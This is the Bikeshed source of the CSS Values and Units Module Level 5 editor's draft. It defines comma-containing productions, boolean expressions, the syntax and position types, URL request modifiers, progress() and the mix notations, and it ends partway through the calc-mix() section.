<pre class='metadata'>
Title: CSS Values and Units Module Level 5
Group: CSSWG
Shortname: css-values
Level: 5
Status: ED
Work Status: Exploring
ED: https://drafts.csswg.org/css-values-5/
TR: https://www.w3.org/TR/css-values-5/
Editor: Tab Atkins, Google, http://xanthir.com/contact/, w3cid 42199
Editor: Elika J. Etemad / fantasai, Apple, http://fantasai.inkedblade.net/contact, w3cid 35400
Editor: Miriam E. Suzanne, Invited Expert, http://miriamsuzanne.com/contact, w3cid 117151
Abstract: This CSS module describes the common values and units that CSS properties accept and the syntax used for describing them in CSS property definitions.
Ignored Terms: <spacing-limit>, containing block, property, <wq-name>
Ignored Vars: Cn+1, n
Inline Github Issues: no
Default Highlight: css
Status Text: <strong>This spec is in the early exploration phase. Feedback is welcome, and and major breaking changes are expected.</strong>
Include MDN Panels: yes
</pre>
<pre class='link-defaults'>
spec:css-color-4; type:property; text:color
spec:css-values-4; type: dfn;
	text: determine the type of a calculation
	text: keyword
	text: identifier
spec:selectors-4; type: dfn; text: selector
spec:css-conditional-5;
	type:type;
		text:<size-feature>
		text:<container-name>
		text:<style-query>
	type:dfn; text:container feature
	type:at-rule; text:@container
spec:css-mixins-1; type:dfn; text:custom function
spec:css-properties-values-api; type:dfn; text: supported syntax component names
spec:html; type:element; text:link
spec:infra; type:dfn;
	text:list
	text:user agent
</pre>
<style>
code, small { white-space: nowrap }
pre.value { font: inherit; white-space: pre-wrap; margin: 0; padding: 0; }
#propvalues td { text-align: right; }
#propvalues td + td { text-align: left; }
dt + dt::before { content: ", "; }
dl:not(.switch) dt { display: inline; }
td > small { display: block; }
</style>
<style>
/* Put nice boxes around each algorithm. */
[data-algorithm]:not(.heading) {
	padding: .5em;
	border: thin solid #ddd; border-radius: .5em;
	margin: .5em calc(-0.5em - 1px);
}
[data-algorithm]:not(.heading) > :first-child {
	margin-top: 0;
}
[data-algorithm]:not(.heading) > :last-child {
	margin-bottom: 0;
}
[data-algorithm] [data-algorithm] {
	margin: 1em 0;
}
</style>

<h2 id="intro">
Introduction</h2>

	ISSUE: <strong>This is a diff spec against <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>.</strong>

<h3 id="placement">
Module Interactions</h3>

	This module extends [[CSS-VALUES-4]]
	which replaces and extends the data type definitions in [[!CSS21]] sections
	<a href="https://www.w3.org/TR/CSS21/about.html#value-defs">1.4.2.1</a>,
	<a href="https://www.w3.org/TR/CSS21/syndata.html#values">4.3</a>,
	and <a href="https://www.w3.org/TR/CSS21/aural.html#aural-intro">A.2</a>.

<h2 id="textual-values">
Textual Data Types</h2>

	See [[css-values-4#textual-values]].


<!-- Big Text: syntax

 ███▌  █   ▐▌ █    █▌ █████▌  ███▌  █     █
█▌  █▌ ▐▌  █  █▌   █▌   █▌   ▐█ ▐█   █   █
█▌      █ ▐▌  ██▌  █▌   █▌   █▌  █▌   █ █
 ███▌   ▐▌█   █▌▐█ █▌   █▌   █▌  █▌    █
    █▌   █▌   █▌  ██▌   █▌   █████▌   █ █
█▌  █▌   █▌   █▌   █▌   █▌   █▌  █▌  █   █
 ███▌    █▌   █▌   ▐▌   █▌   █▌  █▌ █     █
-->

<h2 id=value-defs>
Value Definition Syntax</h2>

	See [[css-values-4#value-defs]].

	Additionally,

	<ol>
		<li value=5>Boolean combinations of a conditional notation.
			These are written using the <<boolean-expr[]>> notation,
			and represent recursive expressions of boolean logic
			using keywords and parentheses,
			applied to the grammar specified in brackets,
			e.g. <<boolean-expr[ ( &lt;media-feature&gt; ) ]>> to express [=media queries=].
	</ol>

<h3 id=component-functions>
Functional Notation Definitions</h3>

	See [[css-values-4#component-functions]].

<h4 id=component-function-commas>
Commas in Function Arguments</h4>

	[=Functional notation=] often uses commas
	to separate parts of its internal grammar.
	However, some functions
	(such as ''mix()'')
	allow values that, themselves,
	can contain commas.
	These values
	(currently <<whole-value>>, <<declaration-value>>, and <<any-value>>)
	are <dfn export>comma-containing productions</dfn>.

	To accommodate these sorts of grammars unambiguously,
	the [=comma-containing productions=] can be optionally wrapped in curly braces {}.
	These braces are syntactic, not part of the actual value.
	Specifically:

	* A [=comma-containing production=] can either start with a "{" token, or not.
	* If it does not start with a "{" token,
		then it cannot contain commas or {} blocks,
		in addition to whatever specific restrictions it defines for itself.
		(The production stops parsing at that point,
		so the comma or {} block is matched by the next grammar term instead;
		probably the function's own argument-separating comma.)
	* If it does start with a "{" token,
		then the production matches just the {} block that the "{" token opens.
		It represents the <em>contents</em> of that block,
		and applies whatever specific restrictions it defines for itself
		to those contents,
		ignoring the {} block wrapper.

	<div class="example">
		For example, the grammar of the ''random-item()'' function is:

		<pre>
			random-item( <<random-value-sharing>>, [<<declaration-value>>?]# )
		</pre>

		The ''#'' indicates comma-separated repetitions,
		so randomly choosing between three keywords
		would be written as normal for functions,
		like:

		<pre>
			font-family: random-item(--x, serif, sans-serif, monospace);
		</pre>

		However, sometimes the values you want to choose between
		need to include commas.
		When this is the case,
		wrapping the values in {}
		allows their commas to be distinguished
		from the function's argument-separating commas:

		<pre>
			font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace});
		</pre>

		This randomly chooses one of three font-family lists:
		either ''Times, serif'', or ''Arial, sans-serif'', or ''Courier, monospace''.

		This is not all-or-nothing;
		you can use {} around <em>some</em> arguments that need it,
		while leaving others bare when they don't need it.
		You are also allowed to use {} around a value when it's not strictly required.
		For example:

		<pre>
			font-family: random-item(--x, {Times, serif}, sans-serif, {monospace});
		</pre>

		This represents choosing between three font-family lists:
		either ''Times, serif'', or ''sans-serif'', or ''monospace''.

		However, this {}-wrapping is <em>only</em> allowed for some function arguments--
		those defined as [=comma-containing productions=].
		It's not valid for any other productions;
		if you use {} around other function arguments,
		it'll just fail to match the function's grammar
		and become invalid.
		For example, the following is <strong>invalid</strong>:

		<pre>
			background-image: linear-gradient(to left, {red}, magenta);
		</pre>
	</div>

	Note: Because {} wrappers are allowed even when not explicitly required,
	they can be used defensively around values
	when the author isn't sure if they'll end up containing commas or not,
	due to [=arbitrary substitution functions=] like ''var()''.
	For example, <l property>''font-family: random-item(--x, {var(--list1)}, monospace)''</l>
	will work correctly
	regardless of whether the ''--list1'' custom property
	contains a comma-separated list or not.

	[=Functional notations=] are serialized without {} wrappers whenever possible.

	The following generic productions are [=comma-containing productions=]:

	* <<any-value>>
	* <<whole-value>>
	* <<declaration-value>>

	For legacy compat reasons,
	the <<declaration-value>> defined for the fallback value of ''var()''
	is a <dfn export>non-strict comma-containing production</dfn>.
	It ignores the rules restricting what it can contain
	when it does not start with a "{" token:
	it is allowed to contain commas and {} blocks.
	It still follows the standard [=comma-containing production=] rules
	when it <em>does</em> start with a "{" token, however:
	the fallback is just the contents of the {} block,
	and doesn't include the {} wrapper itself.

	Other contexts <em>may</em> define that they use [=non-strict comma-containing productions=],
	but it <em>should</em> be avoided unless necessary.

<h3 id=boolean>
Boolean Expression Multiplier <<boolean-expr[]>></h3>

	Several contexts
	(such as ''@media'', ''@supports'', ''if()'', ...)
	specify conditions,
	and allow combining those conditions with boolean logic (and/or/not/grouping).
	Because they use the same non-trivial recursive syntax structure,
	the special <dfn type><<boolean-expr>></dfn> production represents this pattern generically.

	The <<boolean-expr[]>> notation wraps another value type in the square brackets within it,
	e.g. &lt;boolean[ &lt;test&gt; ]&gt;,
	and represents that value type alone as well as
	boolean combinations
	using the ''not'', ''and'', and ''or'' keywords
	and grouping parenthesis.
	It is formally equivalent to:

	<xmp class=prod>
		<boolean-expr[ <test> ]> = not <boolean-expr-group> | <boolean-expr-group>
		                                            [ [ and <boolean-expr-group> ]*
		                                            | [ or <boolean-expr-group> ]* ]

		<boolean-expr-group> = <test> | ( <boolean-expr[ <test> ]> ) | <general-enclosed>
	</xmp>

	The <<boolean-expr[]>> production represents a true, false, or unknown value.
	Its value is resolved using 3-value Kleene logic,
	with top-level unknown values
	(those not directly nested inside the grammar of another <<boolean-expr[]>>)
	resolving to false unless otherwise specified;
	see [[#boolean-logic]] for details.

	<div class=example>
		For example, the ''@container'' rule allows a wide variety of tests:
		including size queries, style queries, and scroll-state queries.
		All of these are arbitrarily combinable with boolean logic.
		Using <<boolean-expr[]>>, the grammar for an ''@container'' query
		could be written as:

		<xmp class=prod>
			<container-query> = <boolean-expr[ <cq-test> ]>
			<cq-test> = (<size-query>) | style( <style-query> ) | scroll-state( <scroll-state-query> )
			<size-query> = <boolean-expr[ ( <size-feature> ) ]> | <size-feature>
			<style-query> = <boolean-expr[ ( <style-feature> ) ]> | <style-feature>
			<scroll-state-query> = <boolean-expr[ ( <scroll-state-feature> ) ]> | <scroll-state-feature>
		</xmp>
	</div>

	The <<general-enclosed>> branch of the logic allows for future compatibility--
	unless otherwise specified new expressions in an older UA
	will be parsed and considered “unknown”,
	rather than invalidating the production.
	For consistency with that allowance,
	the <css>&lt;test></css> term in a <<boolean-expr[]>>
	should be defined to match <<general-enclosed>>.

<h3 id=css-syntax>
Specifying CSS Syntax in CSS: the <<syntax>> type</h3>

Some features in CSS,
such as the ''attr()'' function
or [=registered custom properties=],
allow you to specify how <em>another</em> value is meant to be parsed.
This is declared via the <<syntax>> production,
which resembles a limited form of the CSS [=value definition syntax=]
used in specifications to define CSS features,
and which represents a [=syntax definition=]:

<pre class="prod def" nohighlight>
	<dfn><<syntax>></dfn> = '*' | <<syntax-component>> [ <<syntax-combinator>> <<syntax-component>> ]* | <<syntax-string>>
	<dfn><<syntax-component>></dfn> = <<syntax-single-component>> <<syntax-multiplier>>?
	                   | '<' transform-list '>'
	<dfn><<syntax-single-component>></dfn> = '<' <<syntax-type-name>> '>' | <<ident>>
	<dfn><<syntax-type-name>></dfn> = angle | color | custom-ident | image | integer
	                   | length | length-percentage | number
	                   | percentage | resolution | string | time
	                   | url | transform-function
	<dfn><<syntax-combinator>></dfn> = '|'
	<dfn><<syntax-multiplier>></dfn> = [ '#' | '+' ]

	<dfn><<syntax-string>></dfn> = <<string>>
</pre>

A <<syntax-component>> consists of either
a <<syntax-type-name>> between &lt;&gt; (angle brackets),
which maps to one of the [=supported syntax component names=],
or an <<ident>>, which represents any [=keyword=].
Additionally,
a <<syntax-component>> may contain a [[css-properties-values-api-1#multipliers|multiplier]],
which indicates a [=list=] of values.

Note: This means that <code>&lt;length&gt;</code>
	and <code>length</code> are two different types:
	the former describes a <<length>>,
	whereas the latter describes a [=keyword=] <code>length</code>.

Multiple <<syntax-component>>s may be [[css-properties-values-api-1#combinator|combined]]
with a <code>|</code> <<delim-token>>,
causing the syntax components to be matched
against a value
in the specified order.

<div class='example'>
	<xmp class='lang-css'>
		<percentage> | <number> | auto
	</xmp>

	The above, when parsed as a <<syntax>>,
	would accept <<percentage>> values,
	<<number>> values,
	as well as the keyword <code>auto</code>.
</div>

<div class='example'>
	<xmp class='lang-css'>
	red | <color>
	</xmp>

	The [=syntax definition=] resulting from the above <<syntax>>,
	when used as a grammar for [=parse|parsing=],
	would match an input <code>red</code> as an [=identifier=],
	but would match an input <code>blue</code> as a <<color>>.
</div>

The <code>*</code> <<delim-token>> represents the [=universal syntax definition=].

The <code>&lt;transform-list&gt;</code> production
is a convenience form equivalent to <code>&lt;transform-function&gt;+</code>.
<span class=note>Note that <code>&lt;transform-list&gt;</code> may not
	be followed by a <<syntax-multiplier>>.</span>

[=Whitespace=] is not allowed
between the angle bracket <<delim-token>>s (<code>&lt;</code> <code>&gt;</code>)
and the <<syntax-type-name>> they enclose,
nor is [=whitespace=] allowed to precede a <<syntax-multiplier>>.

Note: The [=whitespace=] restrictions also apply to <code>&lt;transform-list&gt;</code>.

A <<syntax-string>> is a <<string>>
whose value successfully [=CSS/parses=] as a <<syntax>>,
and represents the same value as that <<syntax>> would.

Note: <<syntax-string>> mostly exists for historical purposes;
before <<syntax>> was defined,
the ''@property'' rule used a <<string>> for this purpose.

<h4 id=parse-syntax>
Parsing as <<syntax>></h4>

The purpose of a <<syntax>>
is usually to specify how to parse another value
(such as the value of a [=registered custom property=],
or an attribute value in ''attr()'').
However, the generic [=CSS/parse something according to a CSS grammar=] algorithm
returns an unspecified internal structure,
since parse results might be ambiguous
and need further massaging.

To avoid these issues and get a well-defined result,
use [=parse with a <syntax>=]:

<div algorithm>
	To <dfn export>parse with a <<syntax>></dfn>
	given a [=string=] or [=list=] or [=CSS/component values=] |values|,
	a <<syntax>> value |syntax|,
	and optionally an element |el| for context,
	perform the following steps.
	It returns either CSS values,
	or the [=guaranteed-invalid value=].

	1. [=Parse a list of component values=] from |values|,
		and let |raw parse| be the result.

	2. If |el| was given,
		[=substitute arbitrary substitution functions=] in |raw parse|,
		and set |raw parse| to that result.

	3. [=CSS/parse=] |values| according to |syntax|,
		with a ''*'' value treated as <code><<declaration-value>>?</code>,
		and let |parsed result| be the result.
		If |syntax| used a ''|'' combinator,
		let |parsed result| be the parse result from the first matching clause.

	4. If |parsed result| is failure,
		return the [=guaranteed-invalid value=].

	5. Assert: |parsed result| is now a well-defined list of one or more CSS values,
		since each branch of a <<syntax>> defines an unambiguous parse result
		(or the ''*'' syntax is unambiguous on its own).

	6. Return |parsed result|.
</div>

Note: This algorithm does not resolved the parsed values
into [=computed values=];
the context in which the value is used will usually do that already,
but if not,
the invoking algorithm will need to handle that on its own.



<h2 id="level-4-extensions">
Extensions to Level 4 Value Types</h2>

	See <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>.

<!-- Big Text: url

█▌  █▌ ████▌  █▌
█▌  █▌ █▌  █▌ █▌
█▌  █▌ █▌  █▌ █▌
█▌  █▌ ████▌  █▌
█▌  █▌ █▌▐█   █▌
█▌  █▌ █▌ ▐█  █▌
 ███▌  █▌  █▌ █████
-->

<h3 id="urls">
Resource Locators: the <<url>> type</h3>

	See [[css-values-4#urls]].

<h4 id='request-url-modifiers'>
Request URL Modifiers</h4>

	<dfn><<request-url-modifier>></dfn>s are <<url-modifier>>s
	that affect the <<url>>’s resource [=/request=]
	by applying associated [=URL request modifier steps=].
	See [[css-values-4#url-processing]].

	This specification defines the following <<request-url-modifier>>s:

	<pre class=prod>
		<<request-url-modifier>> = <<cross-origin-modifier>> | <<integrity-modifier>> | <<referrer-policy-modifier>>
		<<cross-origin-modifier>> = cross-origin(anonymous | use-credentials)
		<<integrity-modifier>> = integrity(<<string>>)
		<<referrer-policy-modifier>> = referrer-policy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
	</pre>

	<dl dfn-for="<request-url-modifier>">
		<dt><dfn><<cross-origin-modifier>></dfn> = <dfn function lt="cross-origin()">cross-origin</dfn>(<dfn value>anonymous</dfn> | <dfn value>use-credentials</dfn>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req| are:

			1. Set |req|'s [=request/mode=] to "cors".

			2. If the given value is ''use-credentials'',
				set |req|'s [=request/credentials mode=] to "include".

			3. Otherwise, set |req|'s [=request/credentials mode=] to "same-origin".

		<dt><dfn><<integrity-modifier>></dfn> = <dfn function lt="integrity()">integrity</dfn>(<<string>>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req|
			are to set [=/request=]'s [=request/integrity metadata=]
			to the given <<string>>.

		<dt><dfn><<referrer-policy-modifier>></dfn> = <dfn function lt="referrer-policy()">referrer-policy</dfn>(<dfn value>no-referrer</dfn> | <dfn value>no-referrer-when-downgrade</dfn> | <dfn value>same-origin</dfn> | <dfn value>origin</dfn> | <dfn value>strict-origin</dfn> | <dfn value>origin-when-cross-origin</dfn> | <dfn value>strict-origin-when-cross-origin</dfn> | <dfn value>unsafe-url</dfn>)
		<dd>
			The [=URL request modifier steps=] for this modifier given [=/request=] |req|
			are to set [=/request=]'s [=request/referrer policy=]
			to the {{ReferrerPolicy}} that matches the given value.
	</dl>

	<div algorithm>
		To <dfn export>apply request modifiers from URL value</dfn>
		given a [=/request=] |req|
		and a <<url>> |url|,
		call the [=URL request modifier steps=] for |url|'s <<request-url-modifier>>s in sequence
		given |req|.
	</div>


<!-- Big Text: position

████▌   ███▌   ███▌  ████ █████▌ ████  ███▌  █    █▌
█▌  █▌ █▌  █▌ █▌  █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌   █▌
█▌  █▌ █▌  █▌ █▌      ▐▌    █▌    ▐▌  █▌  █▌ ██▌  █▌
████▌  █▌  █▌  ███▌   ▐▌    █▌    ▐▌  █▌  █▌ █▌▐█ █▌
█▌     █▌  █▌     █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌  ██▌
█▌     █▌  █▌ █▌  █▌  ▐▌    █▌    ▐▌  █▌  █▌ █▌   █▌
█▌      ███▌   ███▌  ████   █▌   ████  ███▌  █▌   ▐▌
-->

<h3 id="position">
2D Positioning: the <<position>> type</h3>

	The <dfn><<position>></dfn> value specifies the position
	of an [=alignment subject=] (e.g. a background image)
	inside an [=alignment container=] (e.g. its [=background positioning area=])
	as a pair of offsets between the specified edges
	(defaulting to the left and top).
	Its syntax is:

	<pre class=prod>
	<<position>> = <<position-one>> | <<position-two>> | <<position-four>>
	<dfn><<position-one>></dfn> = [
	  left | center | right | top | bottom |
	  x-start | x-end | y-start | y-end |
	  block-start | block-end | inline-start | inline-end |
	  <<length-percentage>>
	]
	<dfn><<position-two>></dfn> = [
	  [ left | center | right | x-start | x-end ] &&
	  [ top | center | bottom | y-start | y-end ]
	|
	  [ left | center | right | x-start | x-end | <<length-percentage>> ]
	  [ top | center | bottom | y-start | y-end | <<length-percentage>> ]
	|
	  [ block-start | center | block-end ] &&
	  [ inline-start | center | inline-end ]
	|
	  [ start | center | end ]{2}
	]
	<dfn><<position-four>></dfn> = [
	  [ [ left | right | x-start | x-end ] <<length-percentage>> ] &&
	  [ [ top | bottom | y-start | y-end ] <<length-percentage>> ]
	|
	  [ [ block-start | block-end ] <<length-percentage>> ] &&
	  [ [ inline-start | inline-end ] <<length-percentage>> ]
	|
	  [ [ start | end ] <<length-percentage>> ]{2}
	]
	</pre>

	If only one value is specified (<<position-one>>),
	the second value is assumed to be ''center''.

	If two values are given (<<position-two>>),
	a <<length-percentage>> as the first value represents
	the horizontal position as the offset between
	the left edges of the [=alignment subject=] and [=alignment container=],
	and a <<length-percentage>> as the second value represents
	the vertical position as an offset between their top edges.

	If both keywords are one of ''<position>/start'' or ''<position>/end'',
	the first one represents the [=block axis=]
	and the second the [=inline axis=].

	Note: A pair of axis-specific keywords can be reordered,
	while a combination of keyword and length or percentage cannot.
	So ''center left'' or ''inline-start block-end'' is valid,
	while ''50% left'' is not.
	''<position>/start'' and ''<position>/end'' aren't axis-specific,
	so ''start end'' and ''end start'' represent two different positions.

	If four values are given (<<position-four>>)
	then each <<length-percentage>> represents an offset between
	the edges specified by the preceding keyword.
	For example, ''background-position: bottom 10px right 20px''
	represents a ''10px'' vertical offset up from the bottom edge
	and a ''20px'' horizontal offset leftward from the right edge.

	Positive values represent an offset <em>inward</em>
	from the edge of the [=alignment container=].
	Negative values represent an offset <em>outward</em>
	from the edge of the [=alignment container=].

	<div class="example">
		The following declarations give the stated (horizontal, vertical)
		offsets from the top left corner:
		<pre>
			background-position: left 10px top 15px;   /* 10px, 15px */
			background-position: left      top     ;   /*  0px,  0px */
			background-position:      10px     15px;   /* 10px, 15px */
			background-position: left          15px;   /*  0px, 15px */
			background-position:      10px top     ;   /* 10px,  0px */
		</pre>
	</div>

	<div class=example>
		<<position>>s can also be relative to other corners than the top left.
		For example, the following puts the background image
		10px from the bottom and 3em from the right:

		<pre>background-position: right 3em bottom 10px</pre>
	</div>

	The [=computed value=] of a <<position>> is
	a pair of offsets (horizontal and vertical),
	each given as a computed <<length-percentage>> value,
	representing the distance between the left edges and top edges (respectively)
	of the [=alignment subject=] and [=alignment container=].

	<dl dfn-for="<position>" dfn-type=value>
		<dt><dfn><<length-percentage>></dfn>
		<dd>
			A <<length-percentage>> value specifies the size of the offset
			between the specified edges of the [=alignment subject=] and [=alignment container=].

			For example, for ''background-position: 2cm 1cm'',
			the top left corner of the background image is placed
			2cm to the right and 1cm below
			the top left corner of the [=background positioning area=].

			A <<percentage>> for the horizontal offset is relative to
			(<var ignore>width of [=alignment container=]</var> - <var ignore>width of [=alignment subject=]</var>).
			A <<percentage>> for the vertical offset is relative to
			(<var ignore>height of [=alignment container=]</var> - <var ignore>height of [=alignment subject=]</var>).

			<div class=example>
				For example, with a value pair of ''0% 0%'',
				the upper left corner of the [=alignment subject=] is aligned with
				the upper left corner of the [=alignment container=]
				A value pair of ''100% 100%'' places
				the lower right corner of the [=alignment subject=]
				in the lower right corner of the [=alignment container=].
				With a value pair of ''75% 50%'',
				the point 75% across and 50% down the [=alignment subject=]
				is to be placed at the point 75% across and 50% down the [=alignment container=].
				<figure>
					<img src="images/bg-pos.png" width="397" height="269"
					     alt="Diagram of image position within element"
					>
					<figcaption>
					    Diagram of the meaning of ''background-position: 75% 50%''.
					</figcaption>
				</figure>
			</div>

		<dt><dfn>top</dfn>
		<dt><dfn>right</dfn>
		<dt><dfn>bottom</dfn>
		<dt><dfn>left</dfn>
		<dd>
			Offsets the top/left/right/bottom edges (respectively)
			of the [=alignment subject=] and [=alignment container=]
			by the specified amount (defaulting to ''0%'')
			in the corresponding axis.

		<dt><dfn>y-start</dfn>
		<dt><dfn>y-end</dfn>
		<dt><dfn>x-start</dfn>
		<dt><dfn>x-end</dfn>
		<dd>
			Computes the same as the physical edge keyword
			corresponding to the [=start=]/[=end=] side
			in the [=y-axis|y=]/[=x-axis|x=] axis.

		<dt><dfn>block-start</dfn>
		<dt><dfn>block-end</dfn>
		<dt><dfn>inline-start</dfn>
		<dt><dfn>inline-end</dfn>
		<dd>
			Computes the same as the physical edge keyword
			corresponding to the [=start=]/[=end=] side
			in the [=block axis|block=]/[=inline axis|inline=] axis.

		<dt><dfn>center</dfn>
		<dd>
			Computes to a ''50%'' offset in the corresponding axis.
		</dl>

	Unless otherwise specified, the [=flow-relative=] keywords are resolved
	according to the [=writing mode=] of the element on which the value is specified.

	Note: The 'background-position' property also accepts a three-value syntax.
	This has been disallowed generically because it creates parsing ambiguities
	when combined with other length or percentage components in a property value.

	ISSUE(9690): Need to define how this syntax would expand to the longhands of 'background-position'
	if e.g. ''var()'' is used for some (or all) of the components.

<h4 id="position-parsing">
Parsing <<position>></h4>

	When specified in a grammar alongside other keywords, <<length>>s, or <<percentage>>s,
	<<position>> is <em>greedily</em> parsed;
	it consumes as many components as possible.

	<div class=example>
		For example,
		'transform-origin' defines a 3D position
		as (effectively) ''<<position>> <<length>>?''.
		A value such as ''left 50px''
		will be parsed as a 2-value <<position>>,
		with an omitted z-component;
		on the other hand,
		a value such as ''top 50px''
		will be parsed as a single-value <<position>>
		followed by a <<length>>.
	</div>

<h4 id="position-serialization">
Serializing <<position>></h4>

	When serializing the [=specified value=] of a <<position>>:

	<dl class=switch>
		<dt>If only one component is specified:
		<dd>
			* The implied <a value spec="css-backgrounds-3">center</a> keyword is added,
				and a 2-component value is serialized.

		<dt>If two components are specified:
		<dd>
			* Keywords are serialized as keywords.
			* <<length-percentage>>s are serialized as <<length-percentage>>s.
			* Components are serialized horizontal first, then vertical.

		<dt>If four components are specified:
		<dd>
			* Keywords and offsets are both serialized.
			* Components are serialized horizontal first, then vertical;
				alternatively [=block-axis=] first, then [=inline-axis=].
	</dl>

	Note: <<position>> values are never serialized as a single value,
	even when a single value would produce the same behavior,
	to avoid causing parsing ambiguities in some grammars
	where a <<position>> is placed next to a <<length>>,
	such as 'transform-origin'.

	The [=computed value=] of a <<position>>
	is serialized as a pair of <<length-percentage>>s
	representing offsets from the left and top edges, in that order.

<h4 id="combine-positions">
Combination of <<position>></h4>

	<l spec=css-values-4>[=Interpolation=]</l> of <<position>> is defined as
	the independent interpolation of each component (x, y)
	normalized as an offset from the top left corner
	as a <<length-percentage>>.

	<l spec=css-values-4>[=value addition|Addition=]</l> of <<position>> is likewise defined as
	the independent <l spec=css-values-4>[=value addition|addition=]</l> each component (x, y)
	normalized as an offset from the top left corner
	as a <<length-percentage>>.


<!-- Big Text: progress

████▌  ████▌   ███▌   ███▌  ████▌  █████▌  ███▌   ███▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌  █▌ █▌     █▌  █▌ █▌  █▌
█▌  █▌ █▌  █▌ █▌  █▌ █▌     █▌  █▌ █▌     █▌     █▌
████▌  ████▌  █▌  █▌ █▌ ██▌ ████▌  ████    ███▌   ███▌
█▌     █▌▐█   █▌  █▌ █▌  █▌ █▌▐█   █▌         █▌     █▌
█▌     █▌ ▐█  █▌  █▌ █▌  █▌ █▌ ▐█  █▌     █▌  █▌ █▌  █▌
█▌     █▌  █▌  ███▌   ███▌  █▌  █▌ █████▌  ███▌   ███▌
-->

<h2 id="progress" oldids="progress-func">
Interpolation Progress Calculations: the ''progress()'' notation</h2>

	The <dfn>progress()</dfn> [=functional notation=]
	represents the proportional distance
	of a given value (the <dfn noexport>progress value</dfn>)
	from one value (the <dfn noexport>progress start value</dfn>)
	to another value (the <dfn noexport>progress end value</dfn>),
	each represented as a [=calculation=].
	It is a [=math function=],
	and can be input into other calculations
	such as a [=math function=]
	or a [=mix notation=].

	<div algorithm>
		The result of ''progress()'' is a <<number>>
		[=made consistent=] with the [=consistent type=] of its arguments,
		resolved by <dfn noexport lt="calculate a progress function">calculating a progress function</dfn> as follows:

		: If the [=progress start value=] and [=progress end value=] are different values
		:: <code>([=progress value=] - [=progress start value=]) / ([=progress end value=] - [=progress start value=])</code>.
		: If the [=progress start value=] and [=progress end value=] are the same value
		:: 0, -∞, or +∞,
			depending on whether [=progress value=]
			is equal to, less than, or greater than
			the shared value.
	</div>

	The syntax of ''progress()'' is defined as follows:

	<pre class=prod>
		<<progress()>> = progress(<<calc-sum>>, <<calc-sum>>, <<calc-sum>>)
	</pre>

	where the first, second, and third <<calc-sum>> values represent
	the [=progress value=], [=progress start value=], and [=progress end value=],
	respectively.

	The argument [=calculations=] can resolve to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
	or else the function is invalid.

	ISSUE: Do we need a ''percent-progress()'' notation,
	or do enough places auto-convert that it's not necessary?

	ISSUE(11825): Should progress() functions clamp to 0-100%?

	Note: The ''progress()'' function is essentially syntactic sugar
	for a particular pattern of ''calc()'' notations.

<!-- Big Text: *-mix()

              █     █ ████ █     █   ██ ██
 █   █        ██   ██  ▐▌   █   █   █▌   ▐█
  █ █         █▌█ █▐█  ▐▌    █ █   █▌     ▐█
███████ ████▌ █▌ █ ▐█  ▐▌     █    █▌     ▐█
  █ █         █▌   ▐█  ▐▌    █ █   █▌     ▐█
 █   █        █▌   ▐█  ▐▌   █   █   █▌   ▐█
              █▌   ▐█ ████ █     █   ██ ██
-->

<h2 id="mixing">
Weighted Average Notations: the *-mix() family</h2>

	Several <dfn export>mix notations</dfn> in CSS
	allow representing the weighted average of a set of values.
	These [=functional notations=] follow the syntactic pattern:

	<pre class=prod>
		<var>*mix</var>() = <var>*mix</var>( <var>options</var>? , [ <var>value</var> && <<percentage>>? ]# )
	</pre>

	where the <var>options</var> can provide type-specific mixing options,
	and each <var>value</var> and optional <<percentage>> pair in the argument list
	is a <dfn export>mix item</dfn> representing
	an input to the mix and its weight in the average.

	The [=mix notations=] in CSS include:
	* ''calc-mix()'',
		for mixing <<number>>, <<length>>, <<percentage>>, <<time>>,
		and other dimensions representable in ''calc()'' expressions
	* ''transform-mix()'',
		for mixing <<transform-list>>s
	* ''color-mix()'',
		for mixing <<color>> values (see [[css-color-5]])
	* ''cross-fade()'',
		for mixing <<image>> values (see [[css-images-4]])
	* ''palette-mix()'',
		for mixing 'font-palette' values (see [[css-fonts-4]])

<h3 id="mix-percentage-normalization">
Normalizing Mix Percentages</h3>

	If the sum of the mix percentages are greater than 100%,
	they are scaled down;
	if it is less, any remaining percentage is distributed to values whose <<percentage>> is omitted,
	or else assigned to a “none” type value as defined by the specific [=mix notation=].

	<div algorithm>
		To <dfn export>normalize mix percentages</dfn>
		given
		* a [=/list=] of [=mix items=] |items|
			(a value and optional percentage, each between 0% and 100% if specified)
		* an optional |force normalization| flag
			(defaulting to false),

		returning a list of [=mix items=] with normalized percentages
		and a “leftover” percentage:

		1. Let |specified sum| be the sum of the percentages specified in |items|
			(clamped to 100%),
			or 0% if the percentages are omitted for all items.
		2. For each omitted percentage in |items|,
			set it to
			<code>(100% - |specified sum|) / (number of omitted percentages)</code>.
		3. Let |total| be the sum of the percentages of all the items.
		4. If |total| is greater than 100%,
			or if |total| is greater than 0% and the |force normalization| flag is true,
			multiply every percentage in |items| by <code>(100% / |total|)</code>.
		5. If |total| is less than 100%,
			let |leftover| be <code>(100% - |total|)</code>.
			Otherwise, let |leftover| be 0%.
		6. Return |items| and |leftover|.

		Note: At the end of this algorithm, every percentage is set,
		and the sum of all percentages is either 0%
		(if they were all specified as 0% to begin with)
		or 100%.
		The |leftover| value will be applied to the usage-specific “none” type value
		mixed into the final result.
	</div>

<h3 id=mix-resolution>
Mix Resolution</h3>

	The [=used value=] of a valid [=mix notation=] is
	the weighted average of its arguments,
	as specified by the specific notation.

	The [=computed value=] is the [=used value=] if it is possible to calculate.
	Otherwise,
	it is the [=mix notation=] itself,
	with its arguments computed individually.

<h3 id="calc-mix">
Weighted Average of Numeric and Dimensional Values: the ''calc-mix()'' notation</h3>

	The <dfn>calc-mix()</dfn> [=mix notation=]
	represents a weighted average of numeric or dimensional value.
	Like ''calc()'', it is a [=math function=],
	with the following syntactic form:

	<pre class=prod>
		<<calc-mix()>> = calc-mix( [ <<calc-sum>> <<percentage [0,100]>>? ]# )
	</pre>

	The <<calc-sum>> arguments can resolve
	to any <<number>>, <<dimension>>, or <<percentage>>,
	but must have a [=consistent type=]
